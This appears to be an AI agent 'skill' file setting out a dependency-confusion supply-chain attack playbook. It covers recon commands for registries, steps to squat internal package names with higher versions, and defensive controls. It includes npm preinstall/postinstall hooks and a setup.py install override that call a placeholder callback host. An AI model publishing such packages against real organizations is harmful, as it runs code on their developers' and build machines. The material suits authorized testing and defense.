SKILL: Dependency Confusion — Supply Chain Attack Playbook

AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.

0. QUICK START

• Manifests listing package names that look internal (short unscoped names, org-specific tokens, product codenames) without a hard-private registry lock.
• Evidence the same name might exist—or be squattable—on a public registry with a higher semver than the private feed publishes.
• Lockfiles missing, stale, or not enforced in CI so

  install

  /

  build

  can drift toward public metadata.

recon-for-sec

1. CORE CONCEPT

1. Private packages: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like

   @org-scope/internal-utils

   or an unscoped name such as

   acme-billing-sdk

   .
2. Attacker squats the name: The same package name is published on a public registry (npmjs, PyPI, RubyGems, etc.).
3. Resolver preference: Many setups resolve highest matching version across all configured indexes (or merge metadata), so a public

   9.9.9

   can beat a private

   1.2.3

   if ranges allow.
4. Execution: Package managers run lifecycle scripts (npm

   preinstall

   /

   postinstall

   , setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.

2. AFFECTED ECOSYSTEMS

package.json

@scope/pkg

.npmrc

registry

@scope:registry=

requirements.txt

pyproject.toml

setup.py

pip install -i

--extra-index-url

Gemfile

source

pom.xml

groupId:artifactId

composer.json

repositories

canonical

FROM

3. RECONNAISSANCE

• Committed

  package.json

  ,

  requirements.txt

  ,

  Gemfile

  ,

  pom.xml

  ,

  composer.json

  in repos or forks.
• JavaScript source maps, bundled assets, or error stack traces referencing package paths.

• .npmrc

  ,

  .pypirc

  , CI logs showing install URLs or mirror endpoints.
• Issue trackers, gist snippets, and dependency graphs from SBOM exports.

# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

4. EXPLOITATION

1. Register (or use a controlled namespace) the same package name on the public registry your target resolver can reach.
2. Publish a higher semver than the legitimate internal line within the victim’s declared range (e.g.

   ^1.0.0

   → publish

   9.9.9

   ).
3. Add lifecycle hooks that prove execution without harming hosts—prefer DNS/HTTP callback to a collaborator you control, no destructive writes.

package.json

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

package.json

{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

0xsapra/dependency-confusion-exploit

5. TOOLS

6. DEFENSE

• npm: Prefer scoped packages (

  @org-scope/pkg

  ) with org-owned scopes; set

  .npmrc

  so private scopes map to private registry and default

  registry

  is not accidentally public for internal names.
• Pinning: Exact versions + lockfiles (

  package-lock.json

  ,

  poetry.lock

  ,

  Gemfile.lock

  ,

  composer.lock

  ) enforced in CI.
• pip: Avoid careless

  --extra-index-url

  ; prefer single private index with mirroring, or explicit

  --index-url

  policies in CI.
• Maven / Gradle: Control repository order, use internal mirrors, and block unexpected groupIds on release pipelines.
• Composer: Use

  repositories

  with

  canonical: true

  for private packages; verify Packagist is not introducing unexpected vendors.
• Defensive registration: Reserve internal names on public registries (squat your own names) where policy allows.
• Monitoring: Tools such as Socket.dev, Snyk, or similar SBOM/supply-chain scanners to alert on new publishers or version jumps for critical packages.

7. DECISION TREE

Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
    ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
    │   ├─ YES → Lower risk; still verify CI and developer machines do not override config.
    │   └─ NO → HIGH RISK
    │         ├─ Can a public registry publish a HIGHER version inside declared ranges?
    │         │   ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
    │         │   └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
    │         └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)

Related routing

• From

  recon-for-sec

  : When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.